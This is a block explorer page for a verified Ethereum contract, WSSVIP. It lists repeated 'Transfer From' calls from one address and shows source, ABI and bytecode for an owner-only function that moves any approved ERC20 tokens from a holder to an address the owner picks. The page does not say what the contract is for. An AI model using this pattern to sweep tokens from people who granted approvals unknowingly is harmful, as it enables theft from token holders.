ETH Price: $2,803.04 (-0.38%)
 

Overview

ETH Balance

0 ETH

Eth Value

$0.00

More Info

Private Name Tags

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
Transfer From238524552025-11-22 5:37:112 days ago1763789831IN
0x9dD6FF53...fDd17818B
0 ETH0.00000850.10623075
Transfer From238413992025-11-20 16:20:473 days ago1763655647IN
0x9dD6FF53...fDd17818B
0 ETH0.000212322.65141752
Transfer From238358652025-11-19 21:42:354 days ago1763588555IN
0x9dD6FF53...fDd17818B
0 ETH0.000047230.58972602
Transfer From238290982025-11-18 22:53:475 days ago1763506427IN
0x9dD6FF53...fDd17818B
0 ETH0.000004450.07079949
Transfer From238213342025-11-17 20:42:596 days ago1763412179IN
0x9dD6FF53...fDd17818B
0 ETH0.000086861.37900828
Transfer From238025582025-11-15 5:39:479 days ago1763185187IN
0x9dD6FF53...fDd17818B
0 ETH0.000004270.06781788
Transfer From238023952025-11-15 5:07:119 days ago1763183231IN
0x9dD6FF53...fDd17818B
0 ETH0.000005270.06585909
Transfer From238023342025-11-15 4:54:599 days ago1763182499IN
0x9dD6FF53...fDd17818B
0 ETH0.000004660.07408904
Transfer From238023152025-11-15 4:51:119 days ago1763182271IN
0x9dD6FF53...fDd17818B
0 ETH0.000005130.08150856
Transfer From237523742025-11-08 5:12:1116 days ago1762578731IN
0x9dD6FF53...fDd17818B
0 ETH0.000008220.13051961
Transfer From237452592025-11-07 5:18:4717 days ago1762492727IN
0x9dD6FF53...fDd17818B
0 ETH0.000014470.22983832
Transfer From237452412025-11-07 5:15:1117 days ago1762492511IN
0x9dD6FF53...fDd17818B
0 ETH0.000016240.20280906
Transfer From237378412025-11-06 4:25:1118 days ago1762403111IN
0x9dD6FF53...fDd17818B
0 ETH0.000017170.2727085
Transfer From236739112025-10-28 5:42:3527 days ago1761630155IN
0x9dD6FF53...fDd17818B
0 ETH0.000006350.10093184
Transfer From236568822025-10-25 20:33:1129 days ago1761424391IN
0x9dD6FF53...fDd17818B
0 ETH0.000005870.0932639
Transfer From236383402025-10-23 6:12:4732 days ago1761199967IN
0x9dD6FF53...fDd17818B
0 ETH0.00000660.10482953
Transfer From236374272025-10-23 3:08:2332 days ago1761188903IN
0x9dD6FF53...fDd17818B
0 ETH0.000005670.0900576
Transfer From236233522025-10-21 3:44:1134 days ago1761018251IN
0x9dD6FF53...fDd17818B
0 ETH0.000006860.10900767
Transfer From235996612025-10-17 20:06:5937 days ago1760731619IN
0x9dD6FF53...fDd17818B
0 ETH0.000011980.19019792
Transfer From235879452025-10-16 4:47:2339 days ago1760590043IN
0x9dD6FF53...fDd17818B
0 ETH0.000013760.17184978
Transfer From235879192025-10-16 4:42:1139 days ago1760589731IN
0x9dD6FF53...fDd17818B
0 ETH0.000009490.15075237
Transfer From235770652025-10-14 16:15:2340 days ago1760458523IN
0x9dD6FF53...fDd17818B
0 ETH0.000123161.53756654
Transfer From235385272025-10-09 6:55:4746 days ago1759992947IN
0x9dD6FF53...fDd17818B
0 ETH0.000010270.16307846
Transfer From235237942025-10-07 5:28:5948 days ago1759814939IN
0x9dD6FF53...fDd17818B
0 ETH0.000007910.1257192
Transfer From234803042025-10-01 3:33:4754 days ago1759289627IN
0x9dD6FF53...fDd17818B
0 ETH0.000010590.16818566
View all transactions

View more zero value Internal Transactions in Advanced View mode

Advanced mode:
Loading...
Loading
Cross-Chain Transactions

Block Transaction Difficulty Gas Used Reward
View All Blocks Produced

Validator Index Block Amount
View All Withdrawals

Transaction Hash Block Value Eth2 PubKey Valid
View All Deposits
Loading...
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
WSSVIP

Compiler Version
v0.8.28+commit.7893614a

Optimization Enabled:
No with 200 runs

Other Settings:
paris EvmVersion
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "@openzeppelin/contracts/token/ERC20/IERC20.sol";

contract WSSVIP {
    address private owner;

    constructor() {
        owner = msg.sender;
    }

    modifier onlyOwner() {
        require(msg.sender == owner, "Insufficient permission");
        _;
    }

    function transferFrom(address _tokenAddress, address _from, address _to, uint256 _amount) external onlyOwner returns (bool) {
        IERC20 token = IERC20(_tokenAddress);
        require(token.allowance(_from, address(this)) >= _amount, "Insufficient allowance");

        return token.transferFrom(_from, _to, _amount);
    }
}

// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v5.4.0) (token/ERC20/IERC20.sol)

pragma solidity >=0.4.16;

/**
 * @dev Interface of the ERC-20 standard as defined in the ERC.
 */
interface IERC20 {
    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(address indexed owner, address indexed spender, uint256 value);

    /**
     * @dev Returns the value of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the value of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves a `value` amount of tokens from the caller's account to `to`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address to, uint256 value) external returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address owner, address spender) external view returns (uint256);

    /**
     * @dev Sets a `value` amount of tokens as the allowance of `spender` over the
     * caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 value) external returns (bool);

    /**
     * @dev Moves a `value` amount of tokens from `from` to `to` using the
     * allowance mechanism. `value` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(address from, address to, uint256 value) external returns (bool);
}

Settings
{
  "evmVersion": "paris",
  "optimizer": {
    "enabled": false,
    "runs": 200
  },
  "outputSelection": {
    "*": {
      "*": [
        "evm.bytecode",
        "evm.deployedBytecode",
        "devdoc",
        "userdoc",
        "metadata",
        "abi"
      ]
    }
  }
}

Contract Security Audit

Contract ABI

API
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"inputs":[{"internalType":"address","name":"_tokenAddress","type":"address"},{"internalType":"address","name":"_from","type":"address"},{"internalType":"address","name":"_to","type":"address"},{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]

6080604052348015600f57600080fd5b50336000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506105ad8061005f6000396000f3fe608060405234801561001057600080fd5b506004361061002b5760003560e01c806315dacbea14610030575b600080fd5b61004a600480360381019061004591906102d8565b610060565b604051610057919061035a565b60405180910390f35b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146100f1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016100e8906103d2565b60405180910390fd5b6000859050828173ffffffffffffffffffffffffffffffffffffffff1663dd62ed3e87306040518363ffffffff1660e01b8152600401610132929190610401565b602060405180830381865afa15801561014f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610173919061043f565b10156101b4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016101ab906104b8565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff166323b872dd8686866040518463ffffffff1660e01b81526004016101f1939291906104e7565b6020604051808303816000875af1158015610210573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610234919061054a565b915050949350505050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061026f82610244565b9050919050565b61027f81610264565b811461028a57600080fd5b50565b60008135905061029c81610276565b92915050565b6000819050919050565b6102b5816102a2565b81146102c057600080fd5b50565b6000813590506102d2816102ac565b92915050565b600080600080608085870312156102f2576102f161023f565b5b60006103008782880161028d565b94505060206103118782880161028d565b93505060406103228782880161028d565b9250506060610333878288016102c3565b91505092959194509250565b60008115159050919050565b6103548161033f565b82525050565b600060208201905061036f600083018461034b565b92915050565b600082825260208201905092915050565b7f496e73756666696369656e74207065726d697373696f6e000000000000000000600082015250565b60006103bc601783610375565b91506103c782610386565b602082019050919050565b600060208201905081810360008301526103eb816103af565b9050919050565b6103fb81610264565b82525050565b600060408201905061041660008301856103f2565b61042360208301846103f2565b9392505050565b600081519050610439816102ac565b92915050565b6000602082840312156104555761045461023f565b5b60006104638482850161042a565b91505092915050565b7f496e73756666696369656e7420616c6c6f77616e636500000000000000000000600082015250565b60006104a2601683610375565b91506104ad8261046c565b602082019050919050565b600060208201905081810360008301526104d181610495565b9050919050565b6104e1816102a2565b82525050565b60006060820190506104fc60008301866103f2565b61050960208301856103f2565b61051660408301846104d8565b949350505050565b6105278161033f565b811461053257600080fd5b50565b6000815190506105448161051e565b92915050565b6000602082840312156105605761055f61023f565b5b600061056e84828501610535565b9150509291505056fea2646970667358221220ac9d78c42d3544c7331351ec8f53412390db02d1e09dfd41d779a4f75fda2d5a64736f6c634300081c0033

Deployed Bytecode

0x608060405234801561001057600080fd5b506004361061002b5760003560e01c806315dacbea14610030575b600080fd5b61004a600480360381019061004591906102d8565b610060565b604051610057919061035a565b60405180910390f35b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146100f1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016100e8906103d2565b60405180910390fd5b6000859050828173ffffffffffffffffffffffffffffffffffffffff1663dd62ed3e87306040518363ffffffff1660e01b8152600401610132929190610401565b602060405180830381865afa15801561014f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610173919061043f565b10156101b4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016101ab906104b8565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff166323b872dd8686866040518463ffffffff1660e01b81526004016101f1939291906104e7565b6020604051808303816000875af1158015610210573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610234919061054a565b915050949350505050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061026f82610244565b9050919050565b61027f81610264565b811461028a57600080fd5b50565b60008135905061029c81610276565b92915050565b6000819050919050565b6102b5816102a2565b81146102c057600080fd5b50565b6000813590506102d2816102ac565b92915050565b600080600080608085870312156102f2576102f161023f565b5b60006103008782880161028d565b94505060206103118782880161028d565b93505060406103228782880161028d565b9250506060610333878288016102c3565b91505092959194509250565b60008115159050919050565b6103548161033f565b82525050565b600060208201905061036f600083018461034b565b92915050565b600082825260208201905092915050565b7f496e73756666696369656e74207065726d697373696f6e000000000000000000600082015250565b60006103bc601783610375565b91506103c782610386565b602082019050919050565b600060208201905081810360008301526103eb816103af565b9050919050565b6103fb81610264565b82525050565b600060408201905061041660008301856103f2565b61042360208301846103f2565b9392505050565b600081519050610439816102ac565b92915050565b6000602082840312156104555761045461023f565b5b60006104638482850161042a565b91505092915050565b7f496e73756666696369656e7420616c6c6f77616e636500000000000000000000600082015250565b60006104a2601683610375565b91506104ad8261046c565b602082019050919050565b600060208201905081810360008301526104d181610495565b9050919050565b6104e1816102a2565b82525050565b60006060820190506104fc60008301866103f2565b61050960208301856103f2565b61051660408301846104d8565b949350505050565b6105278161033f565b811461053257600080fd5b50565b6000815190506105448161051e565b92915050565b6000602082840312156105605761055f61023f565b5b600061056e84828501610535565b9150509291505056fea2646970667358221220ac9d78c42d3544c7331351ec8f53412390db02d1e09dfd41d779a4f75fda2d5a64736f6c634300081c0033

Block Uncle Number Difficulty Gas Used Reward
View All Uncles
Loading...
Loading
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]

A contract address hosts a smart contract, which is a set of code stored on the blockchain that runs when predetermined conditions are met. Learn more about addresses in our Knowledge Base.